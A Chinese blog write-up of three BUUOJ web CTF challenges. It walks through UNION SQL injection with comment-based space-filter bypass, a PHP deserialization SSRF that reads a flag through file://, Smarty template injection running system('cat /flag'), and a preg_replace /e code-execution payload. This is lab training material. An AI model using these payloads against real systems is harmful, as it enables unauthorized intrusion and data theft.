做做buuoj上的web题,本萌新纯采集,轻喷(((
[网鼎杯 2018] Fakebook
SQL注入兼反序列化
点开靶机,一眼醒目的login和join,尝试login,那肯定是失败的
所以我们试试注册,填好个人信息之后点击提交,但是提示Blog is not valid.
所以应该是博客地址的问题,应该是要一个确切的博客地址
所以这里把博客的地址都填上(只用填github.io的就可以了)
然后观察url发现no=1
于是尝试no=1’
发现SQL报错了
于是进行SQL注入
1
| no=-1'union select 1,2,3,4#
|
回显 no hack _,说明过滤了关键词
接下来就是测试关键词的时候
发现union 无no hack回显 union select 有no hack 回显
应该是过滤了空格
所以使用
1
| no=-1'union/**/select/**/1,2,3,4#
|
发现报错,去掉单引号
1
| no=-1/**/union/**/select/**/1,2,3,4#
|
发现2号位回显正常
然后上方有个notice: unserialize()
说明有反序列化的存在
1
| no=-1/**/union/**/select/**/1,database(),3,4#
|
爆出库名 fakebook
1
| no=-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
|
爆出表名 users
1
| no=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'#
|
爆出列名 no username passwd data
1
| no=-1/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/users#
|
发现了一串序列化的结果
然后似乎就做不下去了。。。
应该还有一些隐藏的文件吧,打开F12也没有提示
所以应该是存在敏感文件
打开dirsearch扫一下… 不过由于buuoj有反爬这个特性在,所以很难受的就是需要加上delay,使得扫描的过程十分的慢…
推荐盲试 robots.txt www.zip .bak啥的
在robots.txt发现:
1 2
| User-agent: * Disallow: /user.php.bak
|
直接访问/user.php.bak获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
class UserInfo { public $name = ""; public $age = 0; public $blog = "";
public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; }
function get($url) { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch);
return $output; }
public function getBlogContents ()//获取博客内容 { return $this->get($this->blog); }
public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
}
|
所以我们只需要序列化用file协议写出的flag位置,读入后使用curl就能够返回flag的内容了
flag应该在根目录,那么序列化如下:
1 2 3 4 5 6 7 8 9 10
| <?php class UserInfo{ public $name = ""; public $age = 1; public $blog = "file:///var/www/html/flag.php"; } $a=new UserInfo(); echo serialize($a) ?>
|
所以使用sql的语句写入内容:
1
| no=-1/**/union/**/select/**/1,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',3,4#
|
如果没有内容,打开F12试试,如果也没有的话就换位置
测试3、4号位:
1
| no=-1/**/union/**/select/**/1,2,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',4#
|
1
| no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
|
发现4号位回显正常,打开F12即可获取flag
[BJDCTF2020] The mystery of ip
smarty 模板注入
打开靶机
点击Flag,发现显示的是你的IP
点击Hint,发现提示:
修改ip的话,应该是X-Forward-For的问题,所以我们使用burp抓包进行测试
修改X-Forward-For为127.0.0.1,显示为127.0.0.1
试试修改为{7*7},发现显示为49
应该就是ssti模板注入了,然后祭出经典老图
其实也可以通过
查看哪个模板
所以是smarty的ssti注入
smarty的模板注入直接使用系统命令即可:
1 2 3 4
| 可以使用 {if system('cat /flag')}{/if} 也可以直接使用 {system('cat /flag')}
|
获得flag
[BJDCTF2020]ZJCTF,不过如此
[ZJCTF2019]NiZhuanSiWei的复刻了属于是(雾)
直接看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); }
include($file); } else{ highlight_file(__FILE__); } ?>
|
同样的写入,文件包含以及一个next.php
那我们直接data协议写入,php://filter文件包含即可
获得next.php内的base64代码,进行一个decode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php $id = $_GET['id']; $_SESSION['id'] = $id;
function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); }
foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
function getFlag(){ @eval($_GET['cmd']); }
|
经典再现:
指路Day 4: Baby match(每日一题)
preg_replace /e能够执行strolower(“\\1”)的内容
preg_replace输入的第一个是正则表达式re,然后将str的值替换进strtolower(“\\1”)
也就相当于是
1
| eval('strtolower("\\1")')
|
也就是说我们需要传入一个正则表达式,以及一个需要执行的命令,这个正则表达式能够匹配所有的字符
正则表达式:.*又称为贪婪模式,可以匹配到所有的字符
但是url中不能够使用 . 会被php读取成下划线
所以我们可以使用另外一个正则表达式:\S*
这个正则表达式可以匹配任何非空字符,等价于:
然后我们传入的命令需要调用getFlag函数,执行eval函数:
所以写成${getFlag()},而eval函数直接执行get传参cmd传入的命令
所以cmd=system(‘cat /flag’);
但是由于这段代码是在next.php内的,所以我们需要进入next.php并且执行命令
1 2
| payload: url/next.php?\S*=${getflag()}&cmd=system('cat /flag');
|
未完待续捏
参考资料: